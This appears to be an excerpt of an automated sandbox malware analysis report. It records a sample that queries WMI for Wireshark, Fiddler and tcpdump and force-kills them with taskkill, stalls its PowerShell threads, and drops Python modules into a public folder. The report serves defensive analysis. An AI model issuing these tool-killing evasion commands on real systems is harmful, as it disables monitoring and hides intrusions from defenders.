Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: taskkill.exe, 00000043.00000003.2030614773.000001B25935E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE")86)\WINDOW
Source: taskkill.exe, 00000043.00000002.2033402401.000001B2595D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL/F/IMTCPDUMP.EXE\PROGRAMB Q
Source: taskkill.exe, 00000043.00000003.2030163614.000001B259347000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000003.2030437637.000001B259348000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WMI.EXECQUERY(SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE"));
Source: taskkill.exe, 00000047.00000002.2045281863.000002A2335F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CAPTION = "WIRESHARK.EXE"EL
Source: taskkill.exe, 00000043.00000003.2030720160.000001B259349000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000002.2032958477.000001B259349000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CQUERY(SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE"));
Source: taskkill.exe, 00000047.00000003.2043990189.000002A2333C6000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2043890217.000002A2333C5000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000002.2044793432.000002A2333CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: , THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "WIRESHARK.EXE")0
Source: taskkill.exe, 00000043.00000003.2030437637.000001B25935E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE")86)\WINDOWOJ
Source: taskkill.exe, 00000043.00000002.2033402401.000001B2595D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE")ODULESC--
Source: taskkill.exe, 00000039.00000002.2012717826.000002C5DD6F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CAPTION = "FIDDLER.EXE"6EB85.CPLDDVOP
Source: taskkill.exe, 00000043.00000003.2030720160.000001B25933A000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000003.2030163614.000001B259335000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000002.2032886867.000001B25933A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: , THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE")0USERUSERUSER
Source: taskkill.exe, 00000047.00000002.2044793432.000002A2333A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL /F /IM WIRESHARK.EXE
Source: taskkill.exe, 00000039.00000002.2012717826.000002C5DD6F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ROR: THE PROCESS "FIDDLER.EXE" NOT FOUND.
Source: taskkill.exe, 00000039.00000002.2012717826.000002C5DD6F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CAPTION = "FIDDLER.EXE"ODEL
Source: taskkill.exe, 00000039.00000002.2012717826.000002C5DD6F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "FIDDLER.EXE")ODULESC--,O0TO
Source: taskkill.exe, 00000043.00000002.2033402401.000001B2595D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ROR: THE PROCESS "TCPDUMP.EXE" NOT FOUND.
Source: taskkill.exe, 00000047.00000002.2045038670.000002A2333D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CQUERY(SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "WIRESHARK.EXE"));
Source: taskkill.exe, 00000039.00000003.2011590415.000002C5DD44C000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000002.2012489766.000002C5DD44C000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011339618.000002C5DD44C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "FIDDLER.EXE")OMEDRIVE=C
Source: taskkill.exe, 00000039.00000002.2012338986.000002C5DD400000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL /F /IM FIDDLER.EXE
Source: taskkill.exe, 00000043.00000002.2032542287.000001B259310000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL /F /IM TCPDUMP.EXE
Source: taskkill.exe, 00000047.00000002.2044793432.000002A2333A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\DESKTOP\C:\WINDOWS\SYSTEM32\TASKKILL.EXETASKKILL /F /IM WIRESHARK.EXEC:\WINDOWS\SYSTEM32\TASKKILL.EXEWINSTA0\DEFAULT
Source: taskkill.exe, 00000047.00000003.2043990189.000002A2333C6000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000002.2045038670.000002A2333D5000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2044159077.000002A2333D4000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2043890217.000002A2333C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "WIRESHARK.EXE")
Source: taskkill.exe, 00000043.00000002.2032542287.000001B259310000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\DESKTOP\C:\WINDOWS\SYSTEM32\TASKKILL.EXETASKKILL /F /IM TCPDUMP.EXEC:\WINDOWS\SYSTEM32\TASKKILL.EXEWINSTA0\DEFAULT;J
Source: taskkill.exe, 00000039.00000002.2012338986.000002C5DD400000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\DESKTOP\C:\WINDOWS\SYSTEM32\TASKKILL.EXETASKKILL /F /IM FIDDLER.EXEC:\WINDOWS\SYSTEM32\TASKKILL.EXEWINSTA0\DEFAULT
Source: taskkill.exe, 00000039.00000002.2012489766.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CQUERY(SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "FIDDLER.EXE"));
Source: taskkill.exe, 00000039.00000003.2011339618.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011787553.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WMI.EXECQUERY(SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "FIDDLER.EXE"));
Source: taskkill.exe, 00000043.00000002.2033402401.000001B2595D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CAPTION = "TCPDUMP.EXE"6EB85.CPLDD
Source: taskkill.exe, 00000043.00000003.2030614773.000001B25935E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE")DATAPROGR
Source: taskkill.exe, 00000039.00000002.2012440783.000002C5DD429000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011590415.000002C5DD424000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011339618.000002C5DD424000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: , THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "FIDDLER.EXE")0
Source: taskkill.exe, 00000043.00000003.2030437637.000001B25935E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "TCPDUMP.EXE")DATAPROGR'J
Source: taskkill.exe, 00000047.00000002.2045281863.000002A2335F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ROR: THE PROCESS "WIRESHARK.EXE" NOT FOUND.
Source: taskkill.exe, 00000043.00000002.2033402401.000001B2595D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CAPTION = "TCPDUMP.EXE"ODEL
Source: taskkill.exe, 00000047.00000002.2045281863.000002A2335F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL/F/IMWIRESHARK.EXEGRAM/
Source: taskkill.exe, 00000039.00000002.2012489766.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011339618.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011787553.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: taskkill.exe, 00000043.00000003.2030163614.000001B259347000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000003.2030720160.000001B259349000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000002.2032958477.000001B259349000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000003.2030437637.000001B259348000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE
Source: taskkill.exe, 00000039.00000002.2012489766.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "FIDDLER.EXE")
Source: taskkill.exe, 00000039.00000002.2012489766.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011339618.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011787553.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL/F/IMFIDDLER.EXE
Source: taskkill.exe, 00000039.00000003.2011339618.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000039.00000003.2011787553.000002C5DD43F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "FIDDLER.EXE")
Source: taskkill.exe, 00000043.00000003.2030163614.000001B259347000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000003.2030720160.000001B259349000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000002.2032958477.000001B259349000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000043.00000003.2030437637.000001B259348000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL/F/IMTCPDUMP.EXE
Source: taskkill.exe, 00000047.00000002.2045281863.000002A2335F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CAPTION = "WIRESHARK.EXE"B85.CPLDDNQP
Source: taskkill.exe, 00000047.00000002.2045281863.000002A2335F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "WIRESHARK.EXE")ULES;C\WINDOW,,5Q0T_3
Source: taskkill.exe, 00000047.00000003.2043990189.000002A2333C6000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000002.2045038670.000002A2333D5000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2044159077.000002A2333D4000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2043890217.000002A2333C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL/F/IMWIRESHARK.EXEK
Source: taskkill.exe, 00000039.00000002.2012717826.000002C5DD6F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKKILL/F/IMFIDDLER.EXE\PROGRAM
Source: taskkill.exe, 00000047.00000003.2043990189.000002A2333C6000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000002.2045038670.000002A2333D5000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2044159077.000002A2333D4000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2043890217.000002A2333C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: taskkill.exe, 00000047.00000003.2043990189.000002A2333C6000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2044159077.000002A2333D4000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2043890217.000002A2333C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WMI.EXECQUERY(SELECT __PATH, PROCESSID, CSNAME, CAPTION, SESSIONID, THREADCOUNT, WORKINGSETSIZE, KERNELMODETIME, USERMODETIME, PARENTPROCESSID FROM WIN32_PROCESS WHERE ( CAPTION = "WIRESHARK.EXE"));

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3474			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6367			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32print.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
